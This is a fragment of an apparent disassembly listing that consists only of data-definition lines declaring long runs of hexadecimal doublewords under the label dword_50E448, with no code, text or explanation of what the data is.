		dd 55F130A1h, 47953BCh,	0BA24348Dh, 4B18C036h, 0C83EDAD9h
		dd 0CE25C01Ch, 0E90552B6h, 7CBCDA8Eh, 192036ECh, 81AE6804h
		dd 1AE8E5E0h, 70A86580h, 3C004B17h, 3F954C8Ch, 58DDD959h
		dd 24028996h, 1A3E8251h, 0CF699B40h, 505B9897h,	53905F5Fh
		dd 5DAF0973h, 762FBA54h, 0B1EB2DDCh, 618DFEB4h,	668614BFh
		dd 1695DAB8h, 379002C9h, 871811C0h, 0B5D3B3F2h,	823EA2CFh
		dd 0E41E05BEh, 0B33149A8h, 0D76D6125h, 0DCBD43C0h, 7B613FFCh
		dd 26F4D60Bh, 52526209h, 438A8183h, 845A7C5Eh, 74B8D98Ah
		dd 21002BA3h, 0F7E5DF81h, 69E9548Eh, 3E74143Bh,	0FBD004DEh
		dd 0AB31B7F5h, 1CF8189Ah, 417C8Ch, 4F505C3Bh, 51637014h
		dd 29DAF9A3h, 10EC5B05h, 7EB3A180h, 5513F49Bh, 0FEF146Fh
		dd 0AB207335h, 0D7A5EF35h, 5D4F9497h, 9BF8D58Fh, 29F78016h
		dd 952E6DB0h, 5D0BF6C7h, 826FBD04h, 0FBB335FEh,	3B4475A0h
		dd 0D1001FB1h, 6BFD3188h, 289B81Eh, 9228A9EFh, 835481C2h
		dd 30D38061h, 0A8B5B23Ah, 82DC02BBh, 49D6E374h,	0EE521660h
		dd 57D41297h, 6FE331EDh, 11E38825h, 0A10C3971h,	0EBA9BF02h
		dd 0CE556D5Eh, 0C4CDB776h, 0ED0E1040h, 0FD8138Bh, 7FC5F581h
		dd 412D94A0h, 75F40715h, 4444B1D5h, 0A2DC121Dh,	22B5D347h
		dd 392982E1h, 0A6C3B548h, 0B085E6A1h, 0BA02726Eh, 0C0D6F8C4h
		dd 3C9B0B2h, 9520EEBDh,	61A44573h, 5730D509h, 17914537h
		dd 0DAF9D082h, 5195DAE0h, 10F20D4Ah, 98AC03D5h,	72A31700h
		dd 0F396DE7h, 0FFAAA486h, 23A1C089h, 0E152FF5Ch, 85A010FBh
		dd 2D0B4FBDh, 0EC9A6B2Dh, 9A6503C0h, 2909884Ah,	791CB1B5h
		dd 205081AAh, 0AD7DBD33h, 593B7399h, 347181Ah, 0C0E4BECDh
		dd 0CE4A86B0h, 130BFE5h, 0B63AF3DFh, 0D85E78D2h, 16A298A7h
		dd 9507EED7h, 0F45A5010h, 89C24A02h, 0E0D97DB1h, 3EBACEC9h
		dd 0B98EDFA8h, 0C8AB8C1Dh, 0CD527B76h, 0F83F61D8h, 45E32A8Bh
		dd 0E1FC5731h, 805B0007h, 0DA1A4BE7h, 0C11AC8AAh, 0D4AADAC4h
		dd 0E14B8F54h, 0B5508BE0h, 642DA390h, 0AAF77F02h, 4488670Eh
		dd 0DAB726C9h, 3EA93F4Bh, 1DF62778h, 63E08269h,	69A25E8Fh
		dd 90E0AD1Bh, 8002E20h,	160CF0B5h, 0FA226D6h, 0CF1E58DAh
		dd 8579F7C9h, 0CFFD3A45h, 0D0A104CEh, 70968761h, 2BE950FBh
		dd 7280C5DBh, 6E588A4Dh, 523FC805h, 0BB4B24F8h,	514F7431h
		dd 9F6C100Fh, 8E270073h, 0F5D4DFC8h, 4809B78Ch,	78F0958Fh
		dd 124F9797h, 0F0C47260h, 66A91E65h, 0BC6D54AAh, 0BC4E2C38h
		dd 0FB4AAA33h, 0EEB3BA61h, 64985E81h, 0CE3D8D31h, 80EBC55Eh
		dd 0EEA2BBAEh, 0CA2A4BB3h, 0BC6922A6h, 6DEA411Ch, 5EA5F4BEh
		dd 46C9A900h, 7FC2583Eh, 252A0285h, 837A10B2h, 5C31BAD7h
		dd 0E701D4F9h, 0D82BDEB9h, 0E12BDC8Ah, 2F9D6B3Bh, 81DADA6Ah
		dd 981DEDC0h, 4A2ACF2Bh, 0A1A0BCA6h, 0DB5D5EC7h, 3B9F45B1h
		dd 75D2C4B5h, 0E17FE562h, 0BB01109Bh, 2CAAFBC8h, 29EEC15Fh
		dd 0C32F7DF8h, 0B6EB8139h, 0BAD761CAh, 0D4CCDC50h, 60D5050Bh
		dd 0E3905F23h, 792F9503h, 4E567C1Ah, 501317E8h,	0A4D621BCh
		dd 75BDF8Ah, 40EDEDB4h,	0FB7A8B14h, 809BB795h, 0FB118D7Bh
		dd 0F316511Ah, 0DBF0EB87h, 0F40E8318h, 0D948968Ah, 0D7F2219Eh
		dd 0FE543AB2h, 552B0ED4h, 5408D9Ch, 8B907F78h, 5B50DF3Ah
		dd 0F4E011E6h, 0E822A248h, 0EF8D0206h, 9C30182Dh, 582519FCh
		dd 78939BE3h, 25044001h, 14ECB710h, 9B37AEFh, 0D7F5A106h
		dd 14911E35h, 14716389h, 0EB0F9500h, 74CD61D6h,	0B5700028h
		dd 8B3C58E8h, 0A54EA04Bh, 94672189h, 20B84FA0h,	983E8609h
		dd 1C0555DDh, 7B8DAB15h, 1B07666h, 5B13A70Fh, 0AF819FC6h
		dd 0E42A35CCh, 8D130978h, 49A32F99h, 4A95F893h,	0CE6EFEh
		dd 8D7A92F0h, 0E5B331Ah, 6ADDFB02h, 0BE9E3496h,	126B798h
		dd 39180C72h, 0C1AA6988h, 0C0F16A8Ch, 9C26402Fh, 58B89790h
		dd 0F1556C26h, 5FD64804h, 1DDD7BEEh, 1402232Dh,	0DF0A3795h
		dd 219DBFB0h, 4AE91C40h, 894FF3EFh, 74D90B94h, 870BDEA3h
		dd 79650C75h, 109601F4h, 6C6BFCDEh, 0BA1F8078h,	14236Fh
		dd 607F6E4h, 5F0DE380h,	116E5B4Ah, 1D6C4000h, 0D10567C1h
		dd 29A47602h, 0FB1801BDh, 0A9EC009Bh, 0A4F9A27Fh, 8B386200h
		dd 0D43EAA47h, 0BDAB4A5Ah, 8C1BAC43h, 13955800h, 92463510h
		dd 2209B060h, 0CC4F5B5h, 6109302Dh, 3DDCAE57h, 0F6F88B8Bh
		dd 38952C5h, 16C2996Dh,	47677CB9h, 747A9133h, 899AC81Bh
		dd 5BBD854Fh, 889EDB4Bh, 0CCB0C414h, 5716032Bh,	0F9E2998Ch
		dd 843B09C2h, 0FC259C74h
		dd 944EFC7Eh, 3569A8Ch,	0D86AC6BBh, 0E7A75F49h,	0AFA9F429h
		dd 4A71A3E4h, 0A0AEF731h, 998D0A6h, 0C101E9AFh,	6C7B5409h
		dd 234C3111h, 0CCE1E5C0h, 0F05A9D6Ah, 3C237F1h,	0EA84B05Fh
		dd 0E7D4918Dh, 0E4B4007Eh, 370E615h, 919FA59Dh,	71F5FBC7h
		dd 0FC62483Ah, 0A712E888h, 0E1C0ABF9h, 742FE23Ch, 53D505C2h
		dd 0AF75BD33h, 5E65A55Ch, 17984F8Ch, 734EEF80h,	0CD2A7189h
		dd 426D61E3h, 0B8A29D5Dh, 465F860Fh, 0DE0E095Dh, 6C50E8C1h
		dd 22F0945h, 11C78076h,	85B08157h, 0B82A2A0Dh, 9AAFC0CFh
		dd 5F7528Ch, 8B5633A7h,	0EDDF1CD1h, 0F54502E4h,	0B9F7272Eh
		dd 5196104h, 20FA9D89h,	3107C093h, 0D151B53Fh, 0DA309309h
		dd 8A0A6AA4h, 0C0971257h, 5E69F7D4h, 0D25CE8A2h, 412257F2h
		dd 21403A96h, 4B1553h, 0E05A83BAh, 5C6137C2h, 41D13600h
		dd 6814A782h, 15BDA8CEh, 835D8A26h, 28033D54h, 137A563h
		dd 2EF381FEh, 6105A333h, 0FC700295h, 0DC27374h,	69F31213h
		dd 0BDEA0350h, 0F9004A43h, 56C2A4E7h, 5B853160h, 0BD769425h
		dd 42B8964h, 0B9042207h, 0BC2CD49Ch, 41E65B35h,	906E50E0h
		dd 0B7778904h, 8EF02ECDh, 0BFF3C717h, 0BA745594h, 2B490F81h
		dd 0BAF1C0C5h, 0CCDAB0C2h, 3CED95B1h, 0D6D9ACh,	0E74DD18Ah
		dd 136E0CEh, 2B718517h,	99B52144h, 252F9BA1h, 0BC2DFD31h
		dd 0B1BC5A70h, 5D634C73h, 82D1A5Ah, 76A6Bh, 9DC93E99h
		dd 582ECE2Dh, 55C0BD8Eh, 0D56CD88Fh, 182F780Bh,	9219E2C2h
		dd 652D5E51h, 421B8081h, 159D0234h, 8DD8A712h, 0DCAD9Ch
		dd 47F5913Dh, 33810964h, 85250874h, 950070C5h, 4D2F66CDh
		dd 0C03FC509h, 0B884F35Bh, 79D9B6C9h, 605D2CDDh, 9290B1D2h
		dd 7B5BDA2Dh, 181959A1h, 0B2769770h, 0A36048ACh, 5F34E7h
		dd 382A06D2h, 9597E303h, 4E0CC805h, 8DBAE1FFh, 0E7282E16h
		dd 9E044E94h, 0D4CE8069h, 1605556Ah, 0E031A2C7h, 0E79519ADh
		dd 6D791A6Ch, 0A6ABD957h, 0F3081285h, 42A85D3h,	0C8E92AF9h
		dd 0D31648Bh, 31B198A3h, 8D896000h, 0ED330125h,	601D44D4h
		dd 0A174D8h, 0CC28F364h, 8117EEE3h, 0AF0AC704h,	0D6BC7EB5h
		dd 0E16E4Eh, 0CF886F59h, 1DBF9E6Ah, 0D2BB66E6h,	3CF7F419h
		dd 1D2C68Ah, 58C5C26Eh,	2A285CF3h, 1CB28EF6h, 1BE2B30h
		dd 0E165B8BAh, 3010584Ch, 6E09D0A6h, 5EC2D780h,	1453E9AAh
		dd 0D97C50h, 6C47ADDAh,	0D33BBEBAh, 0FD768997h,	6C2EA26h
		dd 5461D027h, 0D501F699h, 0FEE5CB9h, 0AE140C8Ah, 8D1353A3h
		dd 0E2AEC9A5h, 6840AAFCh, 50971856h, 4A4EC112h,	0A94EE028h
		dd 0CB881B3Dh, 0B48FB29Bh, 2F8D4CC7h, 9FB551A1h, 2C206BC2h
		dd 13BC382h, 748D8466h,	2B16D044h, 0B589FA30h, 167DBE59h
		dd 1213B851h, 0DCBD02F8h, 6510FC94h, 19E90924h,	0F4B3FC02h
		dd 9C878FDh, 7B20F99Dh,	97D9A0C1h, 5EDBA209h, 50E483D8h
		dd 1231E737h, 0F202D19Dh, 0AC64D5C2h, 476D00BDh, 0FF811DACh
		dd 0BB3EAFDBh, 75A92ECh, 0EF9374AFh, 89C4989Eh,	0ED6EAF06h
		dd 0BFBB6B02h, 0E580D88Bh, 71128D37h, 54897995h, 0C4523301h
		dd 0BB4096D0h, 4B7550D4h, 0A6D8C54Eh, 732AE06Fh, 2A77F40h
		dd 0CD15B0EFh, 127D503Ch, 17026069h, 32780012h,	0E9F353D7h
		dd 0B790FB6Dh, 45051695h, 0EF2D205Bh, 0B2F2995Ah, 1D06F93h
		dd 0D2BE13BBh, 0E7200B6Fh, 8B2C44FDh, 0EA801B05h, 0D488880Fh
		dd 2F7509BFh, 0E5784D32h, 9EE87409h, 0C361ED15h, 88EEB910h
		dd 452D3B98h, 72A05C21h, 1D4975Eh, 352B51E2h, 0C850906Fh
		dd 0F712F9BBh, 0FC0B7441h, 5DBBA9D1h, 1F447B15h, 2BFDC181h
		dd 0A9566102h, 3DAF1812h, 43206AD9h, 0F44D8Ch, 91B1D5D7h
		dd 297AF661h, 0BEBCFC00h, 6BB34CC5h, 0EF14975Fh, 7FF98BB5h
		dd 5F825E37h, 5F59A77Dh, 0E495FA52h, 940F0060h,	6DAFFC82h
		dd 9C04A831h, 5DA64D56h, 8D09F13Ah, 0FD4A8879h,	27CA9001h
		dd 40C2CF1Bh, 53A13DB8h, 8212957Ch, 0EDF24834h,	6A54C68Dh
		dd 8BF047A6h, 0C19FF598h, 382F2D16h, 55DD95ECh,	5BDEA5BDh
		dd 181D593Ch, 5C250634h, 6CBF3B9Ah, 0E45A7C2Dh,	84C43E66h
		dd 97DF1BEh, 1E63CAF9h,	99310257h, 0F49A7C06h, 88F87600h
		dd 0C01150FEh, 548B25E7h, 0D9B43EE6h, 1ED90841h, 504D75C4h
		dd 4115E343h, 51D92B2Fh, 2119C141h, 0E2CDFF04h,	85389A3Ah
		dd 45F183C0h, 0E35306ADh, 1633583Ah, 0EA2418F1h, 6118D2FBh
		dd 57563A5Dh, 28006935h, 2E7163D3h, 8102014Fh, 0CEA8E4F3h
		dd 45A22B6Bh, 4002C8A8h, 33753C62h, 9744D009h, 0E093CE16h
		dd 46E0C559h, 0D9CEA0ECh, 4DD39530h, 0EA373ADh,	0BA130C84h
		dd 0C8828B74h, 6AA25EB9h, 2D0811DEh, 6A4F5450h,	20A73C69h
		dd 61C1FC4Dh, 0D3F099F9h, 5B7143Fh, 0FF25F3E1h,	0B5B5D1EEh
		dd 0F29C006Eh, 0E34FF5A9h, 0CDA1034Eh, 99C9522Eh, 19987B3Dh
		dd 0A65B9F6Ah, 5AF8C578h, 0D373E9F1h, 0F3C203ECh, 4AF9DFBCh
		dd 8455D1A7h, 9013B750h, 10F0BF96h, 0EC23FB25h,	0C59D3A63h
		dd 1253F75Ah, 4AF2F9FCh, 87C4AF92h, 9A00A06Fh, 0A885B517h
		dd 84BD6390h, 0BB000AF2h, 33D36FF1h, 0DAA6197h,	8B57BF82h
		dd 8AE65FDEh, 0F3357725h, 181D593Fh, 5E5700F5h,	0E96D97EBh
		dd 0FE12F0D7h, 62F7A2B7h, 0FEAC4959h, 0BA69B809h, 49E489h
		dd 0A5B3D6FDh, 6BE8AED3h, 5D051B79h, 66079641h,	95096720h
		dd 0A20A4B8Dh, 96BD20Ah, 3722702h, 707E5E1Dh, 7407B909h
		dd 940710Ah, 851739F0h,	0C0564D25h, 410E5CD9h, 0DD5D210Ch
		dd 40858460h, 5202B82Ah, 61387EA5h, 6C2977C6h, 716B3B71h
		dd 841C01A9h, 0FDC31FD3h, 0C405C0F9h, 0E94E7D0Bh, 264E5EABh
		dd 9100DE56h, 87BCB3BFh, 278555EAh, 9F58D208h, 0FE303B25h
		dd 7C5896Bh, 0B49F4C5Fh, 0F5794003h, 9704029Fh,	504CF93Ah
		dd 5FC0FC1Eh, 0C0C1905Ch, 837C7798h, 50A20074h,	0A79344D5h
		dd 90EE849Fh, 0A5B795h,	0ABA39E46h, 2E0D2DFDh, 4A5AAF33h
		dd 1A129A41h, 6001F4DAh, 57912FC7h, 32649A00h, 40581C2Bh
		dd 37106D2h, 0B70465BDh, 0C5D0EC5h, 0A6227C02h,	0DE91FC48h
		dd 4EBAC49Dh, 4EF2B952h, 0B62E0FF5h, 0CD07E0F2h, 0B1FE4C8Ah
		dd 98BC8892h, 0C6003EEAh, 26C0CA44h, 9514FE64h,	1207250h
		dd 0BD5B4A19h, 8C15AC25h, 0BBED3401h, 1C706F2Bh, 0AAF0342Eh
		dd 0D1FF4202h, 14FE9853h, 9BA500EBh, 896C4C55h,	0D9094FCBh
		dd 715B65BBh, 0BA6A45AFh, 0B00E77Bh, 7E036562h,	6709216Bh
		dd 82026AA5h, 290C9DB1h, 6160B202h, 95EBE4DDh, 3FC4986Dh
		dd 7ED1EC1h, 612D6406h,	0BEE67317h, 0E44E9D3Bh,	71BD79B2h
		dd 842CC42Bh, 519BAF33h, 0FAC235C0h, 0F702BF60h, 313A0C63h
		dd 2EE85595h, 844E861h,	354801DDh, 3FD611EEh, 0CFC83ED0h
		dd 0C230003Eh, 0D831FDE7h, 0EC1E486Eh, 7C45DB37h, 0CD05BF93h
		dd 0CC6F5F9Ch, 7C7D5200h, 11598741h, 8DE8AF26h,	5E02C90Bh
		dd 0D8B3E358h, 229D1C10h, 23BF5001h, 5567C4E9h,	0AA1313D7h
		dd 28828h, 0AA753DA4h, 4D355184h, 0E4178302h, 75AE18CBh
		dd 0B81C9704h, 0D8EAA557h, 0DAB7B5B8h, 31B29569h, 0A700C7Bh
		dd 0DC4F07A8h, 2B8589D6h, 5C4B1954h, 1E7C520Fh,	0BED500D4h
		dd 0CC4560BCh, 0A498A78Eh, 505FF5Bh, 0B381491Fh, 0B73F30F5h
		dd 0D80DA0CCh, 0FE61ADAh, 0D2513A83h, 455E66A5h, 0D91C894Eh
		dd 60905EB0h, 5231F78Ch, 872EA00h, 0E651A649h, 88895E70h
		dd 712CE4B6h, 53349533h
dword_50E448	dd 477755ADh, 1E7A0001h, 0E14228F9h, 5D50053h, 0AE167447h
		dd 212EF815h, 8D09FEB6h, 5A71A935h, 31BA4E53h, 42DFD9Ah
		dd 55F874D2h, 0F1AF28EBh, 2A2A158Dh, 93D29F3h, 24D5052Ah
		dd 0CFBC82Bh, 0D1430E41h, 1C6CC99Ch, 0AD304E75h, 79C88026h
		dd 0F85FD6F1h, 0DD02025Dh, 0E05169B1h, 0D84BAAF6h, 0EB810E04h
		dd 45491C57h, 141AD35Eh, 1F898469h, 0DF2361BEh,	0B98EF8BEh
		dd 4455A72Dh, 0AA7C059Bh, 90AE5785h, 0DE8B073Ah, 1EF1FAC4h
		dd 0E98A69B8h, 90C3005Ch, 33057974h, 26722597h,	2B169937h
		dd 0A7584ED5h, 0C4D00049h, 31D8BA5Eh, 3DAAC42Dh, 15B0B19h
		dd 0CB18576h, 0B03A8D2Bh, 0BFB3EC4Dh, 88684B1Fh, 0F5942894h
		dd 0F2AD2963h, 601A8BA5h, 830B1140h, 919195B2h,	0AC75F229h
		dd 25D73C63h, 7BCCFAB2h, 485B5898h, 0E25EF36Fh,	74092D79h
		dd 43CE2544h, 38872A01h, 0D5926D76h, 0B25666A5h, 0D99D0360h
		dd 9371B531h, 0D4355E69h, 0E5ADA000h, 0B9EBCBB5h, 96087063h
		dd 2612DEBAh, 41093190h, 9DC870FFh, 0C001BB7h, 6911EB70h
		dd 8B2609F1h, 9957FCFEh, 0F6C2B82Dh, 7C74F6D6h,	0D76D8B9Dh
		dd 0B02F1C35h, 20E63Bh,	0CC2D5BA4h, 5F86976h, 0DBD8913h
		dd 7FAE1C53h, 0F1A2388h, 8D21BFE2h, 0D8C175BAh,	182C450Dh
		dd 1E11654Dh, 80646027h, 93579000h, 38FA16E8h, 316E1C73h
		dd 0A00703EBh, 84F44341h, 88F5AAABh, 9257F2Eh, 75B727D2h
		dd 0B5B7AFE4h, 81179127h, 0FA26DC6h, 1006352Fh,	0AC5AE981h
		dd 877BBDBAh, 0B8DFE468h, 2971A2DEh, 1645F702h,	0F9DB057h
		dd 0F3169586h, 3B983398h, 6A77719Dh, 3F00D6C2h,	36F466EBh
		dd 256BB7D9h, 0B6EDE1FFh, 4D66D2C0h, 37D704B6h,	0C2297EDCh
		dd 0D85C25F8h, 0AC15B971h, 0B2CA4AD7h, 0C2BEC422h, 622A04DCh
		dd 829E064Eh, 105D8589h, 971955B2h, 11FBD21Ch, 132EF960h
		dd 0D16EBAA7h, 7D62B301h, 2E4826CCh, 8E6F9D16h,	0E531C05Bh
		dd 3101ABB7h, 0BD0160BEh, 0CC2B23B9h, 0C08A2297h, 0C20BD9FCh
		dd 2041BDE9h, 0E4486D75h, 0BB266017h, 88EE5AE8h, 7F7805EFh
		dd 304B7B01h, 0DC748509h, 456B8E8h, 0DF142CB1h,	0EB99ABC0h
		dd 9101E20h, 905F4916h,	49DE9C07h, 8CD90185h, 4EC66021h
		dd 10BB2545h, 1D8DB5h, 4CC96861h, 5600F0Eh, 96F4F1B9h
		dd 3F98AE14h, 5D72B584h, 114F361Fh, 1DE76E6h, 16BD2DB2h
		dd 288F6245h, 4C4E7047h, 54027DC2h, 8D5C5A4Fh, 774F05D4h
		dd 0FF94F02Dh, 4FEF185h, 5224C18Ch, 810282B3h, 0B69EF1CBh
		dd 0E9417360h, 4F026527h, 2BD4078h, 60092C7Dh, 428614D5h
		dd 698656E8h, 203908DEh, 0AEBE022Fh, 615C5B2Dh,	74A5915Ch
		dd 1471F426h, 23C6A701h, 0F54E175Dh, 48F352Eh, 0AB101D73h
		dd 404CC49Dh, 4D1507E5h, 30CA79E3h, 0BEB6024Ch,	7A041F09h
		dd 6E8B830Fh, 49C2A689h, 0E65A3075h, 3114B283h,	806A68A9h
		dd 6618135Dh, 43CF66Bh,	0ABECBCEAh, 5B4AB814h, 7AE09FB6h
		dd 0D0952AABh, 2390BF44h, 0A50716DDh, 78C25358h, 0E56EDF20h
		dd 2DFC2CC8h, 0E781C00Bh, 0E0053149h, 9AB35071h, 0C933BFB1h
		dd 2CB54C00h, 0FBE77058h, 0C500F7E0h, 0AB57F87Bh, 97985B91h
		dd 97F65809h, 74F200F6h, 0C2BDC113h, 41810932h,	28DE09D2h
		dd 0FD047B16h, 6840B1BDh, 52DEC1E7h, 183CDD92h,	379577C2h
		dd 4A0D0B9Bh, 1CA625EEh, 65DE6B00h, 0A50910F7h,	8C0E0041h
		dd 3F3E9766h, 2025BF88h, 0F56FC247h, 606174CFh,	0C27B7A3Fh
		dd 4CDF2AC4h, 7FFD000Dh, 4016FE56h, 0EA007E20h,	4EB48736h
		dd 4BEBE760h, 0AF22AA2Eh, 3B4CF5ACh, 5F236801h,	2C8B1F0Bh
		dd 3814B57Fh, 0A0AF8F80h, 40379BCFh, 394D003Bh,	732C8EBh
		dd 2802EF02h, 0FBB55E8h, 45ABDC31h, 0B69AABF8h,	62F6D3h
		dd 90CBDC12h, 58D44D6Ch, 7B5D4C23h, 0FE24Eh, 0B4270982h
		dd 38542Eh, 1B81213Dh, 7FFFC583h, 0F50B61F2h, 74D2DF80h
		dd 0B5577A24h, 0F0C00010h, 502E08A1h, 0A8B20B4Ah, 0E1655B25h
		dd 9CE95513h, 48004EECh, 5AD703CCh, 90DDEB4Ch, 2CC52001h
		dd 9ED5E95Ah, 0EDE350E6h, 0FB2B2FE0h, 0E98D890Bh, 7E1DD729h
		dd 0C57C3EF8h, 0CE03EDBCh, 208511C0h, 0D80C8148h, 0CD305752h
		dd 0A75F3340h, 0FD5E3EDAh, 0F665ECBAh, 3DB0023h, 0A3677F54h
		dd 9D728942h, 0BB6600F7h, 0EC3AE3FBh, 6D9DC2D6h, 0B8385515h
		dd 0D10BBFF5h, 7458497Dh, 1B46D614h, 477EC700h,	0A3F05227h
		dd 1742955Dh, 0B046A2Fh, 70AF03A9h, 21BF660Bh, 0DFAC0BB7h
		dd 985CEE29h, 0A8B5D5EBh, 7905FF83h, 0DD70FA94h, 60968423h
		dd 9E76BB88h, 7C39FC2Fh, 3FB3C3C5h, 737AAB9Ch, 1FF3E900h
		dd 0FC83C423h, 7A625E01h, 1EB58501h, 2481B76Eh,	24142303h
		dd 0A2BFA4C7h, 72B07A7Bh, 5CA5E4Bh, 93299A4Eh, 0ACD8E7E0h
		dd 65F87BBDh, 4F31857h,	9201BDA8h, 0E35C6110h, 9DD9226Ch
		dd 15590ED3h, 0B948BF18h, 10407F8Dh, 5B11EC09h,	0A5999D1Dh
		dd 0FDDA626Eh, 0D9562F1Ah, 0D9D38160h, 75B2571h, 0F556DEC0h
		dd 1897F9EEh, 0EE9509BBh, 0F4EB71Fh, 37803C99h,	85C2AECDh
		dd 456E007Fh, 254467CAh, 300562ECh, 8F4756C6h, 0AF00F3F2h
		dd 0CE29CCAEh, 8A046472h, 0EE08E1C9h, 61BD6E85h, 33D3035Bh
		dd 0F99DB19Dh, 6B5B805Eh, 194F4CCh, 0F8928E91h,	20D24AE4h
		dd 35971C07h, 82169134h, 0E0CD013Dh, 0BE06A95Eh, 0BD09E087h
		dd 96802A2Dh, 0E8089050h, 4851F631h, 0ECA5451Ah, 9F212075h
		dd 0E0AF9B51h, 9517D963h, 0A442856Fh, 51F75C12h, 0AF84C386h
		dd 5FE0FDA6h, 1F63DBCFh, 272CB1FEh, 29D460E7h, 0F661EB6Eh
		dd 0D96360DFh, 2D00D4F7h, 0C1328A9Fh, 4A30EAEh,	8ECAD25Bh
		dd 0D620EB5Ah, 13C782Ch, 0C35B62Bh, 213D16A5h, 601920CEh
		dd 5662E896h, 4035F659h, 0DC922A80h, 5D434B00h,	362178F7h
		dd 1FD100CCh, 5AABCA31h, 512605B8h, 9612435Eh, 74911E0Bh
		dd 6A8B5104h, 0F69328F2h, 0C84EA076h, 40D4941Fh, 242FB436h
		dd 9DD99900h, 8D47F43Dh, 0D59B2925h, 89891D3Fh,	167B0F91h
		dd 2525B8A0h, 13F5C72Eh, 56A76Bh, 0BA66B99Fh, 973AE590h
		dd 35D5FB3Ah, 86D301B0h, 93435EBFh, 0AB52B58Dh,	6E2FF3B1h
		dd 0DA1101EAh, 0AC40B2F5h, 0A2A131F8h, 8730FFF0h, 0E79586C7h
		dd 1F7FA55Bh, 0ED4A8297h, 8157DAE9h, 0BD2B6050h, 2780FEC6h
		dd 5F724850h, 0E92F0D90h, 18A0A921h, 166F32Dh, 0A12F574Ch
		dd 0DA389E0Dh, 97CCDA77h, 5FD0221Ah, 93601F5Fh,	0BF5AD0h
		dd 110EACC2h, 0B887AAF6h, 901B2812h, 170B3C12h,	88F5ED9h
		dd 574E1475h, 0F6BC3DEDh, 0E6126D00h, 0A35ADC73h, 8B0F2FC7h
		dd 0EBB4C993h, 0A8E84934h, 48B69D04h, 0C011DB06h, 0ECF23197h
		dd 819D1301h, 9F6AAF0Ch, 6B001B23h, 971A6958h, 95C67942h
		dd 6C906D0h, 830AA4D9h,	8DF53DD9h, 0D6ACB26Fh, 0DB25FFh
		dd 2E82CE2Dh, 0AA1FD2BAh, 6AD67299h, 272FB97Ah,	494ED350h
		dd 0D46A6509h, 212DDE40h, 2DEEF8E8h, 6F5B2C81h,	0BFF2E200h
		dd 9756FDEAh, 1C9171B5h, 6D5AEE83h, 3847B998h, 0C214B634h
		dd 3727AC12h, 9BAB2B75h, 0E8E6D2FBh, 0FFF65506h, 0E520D8D1h
		dd 0BD332402h, 40712590h, 31EF54C4h, 63026A84h,	0FE570011h
		dd 0A5C74E25h, 6239E87Fh, 299BC36h, 6021410Bh, 71B1AC2Fh
		dd 0A60BBFF0h, 74667FBAh, 4011C456h, 0A46C9931h, 4668C077h
		dd 0D5C0AFB9h, 0C3EC7404h, 0C3BE75FDh, 4DFCD1B6h, 427E745Bh
		dd 104DE97Ah, 0A7597B5Eh
		dd 9B3BA621h, 0AFA3C0E0h, 96A28Ah, 5ECA8262h, 0EBB3BB66h
		dd 91379Fh, 2F3DC619h, 9A091857h, 82D9260Fh, 5E1C5D55h
		dd 0CC40E953h, 0BA904D54h, 64BB8A4Bh, 7C9EAB9Ch, 0E5D9880h
		dd 110BF0D0h, 988A4060h, 0CB7D16h, 0BFED3A33h, 1F4BF87Fh
		dd 240995F2h, 24DA318Fh, 71BD5B09h, 0FF7B4Bh, 0E75C4002h
		dd 103360A7h, 5A31C195h, 1B2035F8h, 0BF66610Eh,	97F63279h
		dd 4BB5C440h, 0E472CDC3h, 2271400Ah, 5B9B6A4Fh,	9AFBC7h
		dd 0FF921F1Ch, 3AE0E216h, 214AA8E8h, 0DA196D63h, 0A2520D24h
		dd 0EEF707D2h, 82E19643h, 622F0C67h, 60213364h,	1B50EEB4h
		dd 0BD4284Bh, 0FB5F931Ch, 95B09185h, 0DFCAAE10h, 0AA202C00h
		dd 46023C01h, 0F59D6105h, 0B6002DDBh, 0B112C6E4h, 297013E6h
		dd 0C5969795h, 0E162D471h, 37DC6BB1h, 198D1831h, 0C8B6D904h
		dd 0AD5E0979h, 0F8D313BDh, 725882DEh, 0E12E5B9Eh, 6B059D89h
		dd 0A0C10888h, 0B61865EFh, 0BBE38B3Ah, 982CA9D7h, 7D27CD5h
		dd 283D6975h, 330847E6h, 0BAE50449h, 299D4E42h,	4B6A1225h
		dd 15CBA755h, 7BE90DE8h, 51F2051h, 3650245Eh, 7EBE9DBCh
		dd 5DBC225Ah, 0F0214DEh, 4016FA36h, 57E59D25h, 51187A99h
		dd 922FE12Eh, 9284273h,	0A39707B1h, 40B296F2h, 0FF8D8BDFh
		dd 0B50903C2h, 5681EAFDh, 0B2E14B8Fh, 0A841BC1Dh, 0FE1218A5h
		dd 4910C2B7h, 0BD01162Fh, 0CE3820E5h, 0FC49994Bh, 0D6954834h
		dd 0F514DCDFh, 5AB7E50Ch, 0FC489759h, 0C81F9A6Eh, 0EAA3C01Bh
		dd 509E379h, 53529F45h,	0B9920216h, 26FE1099h, 84635BF4h
		dd 0BBA81326h, 698487DBh, 6EEAFCh, 0F706A900h, 1D90C27Bh
		dd 61A141E3h, 1A33B10h,	0A29CE65Eh, 0FE4B5ED5h,	5AB2F700h
		dd 34D84799h, 0F17F248Eh, 0D950B82h, 1B078B8h, 721BCA04h
		dd 9AEEF8EFh, 6CBD7606h, 0B78BF21Ch, 14C4D34Fh,	1B669E80h
		dd 0DA514B2Eh, 0C01D883Dh, 0F4CED3C5h, 16EA5E02h, 7762DB94h
		dd 2DD62D10h, 15861900h, 0C9806460h, 5B531DFFh,	883AC0E2h
		dd 0D108EAD0h, 0CD57BA97h, 7E606FF9h, 16AC8A59h, 0EF6AB60Ah
		dd 1A129651h, 0E6C0DBE9h, 532E8D46h, 6770D800h,	376E81CAh
		dd 0AD2A001Dh, 8A050657h, 2AE35B80h, 2DA9ACBDh,	60DA8295h
		dd 0CE795FB3h, 0DBE5BB85h, 56B82FBAh, 90BAB4FEh, 0E80BBAB2h
		dd 10825E5Ch, 12761805h, 0BC1D3DB5h, 7781E2A8h,	4C635E4Fh
		dd 1A4A0A5h, 0A9141276h, 6030BA17h, 4FF08Eh, 6BA8B6B4h
		dd 0E887DA5Bh, 0BA1AFA03h, 0B937D3DCh, 5B608CCAh, 0BF4513C2h
		dd 4E08A261h, 0F3A21EAh, 25256982h, 97B557F8h, 81EF6624h
		dd 0E1FF49B3h, 5FEF7C84h, 0A1DABC9Dh, 0F502052Eh, 3B51D85Eh
		dd 9F41CADh, 0C8B14FDEh, 861C93B7h, 0B5C7B97Fh,	47C4CB2Eh
		dd 0CDA2D7BCh, 0CF14CD29h, 0ED774949h, 0C5C4C063h, 0E300B4AAh
		dd 0BB0D6196h, 4E52CD03h, 0F1B8317h, 0A0EEA89Dh, 3376B74h
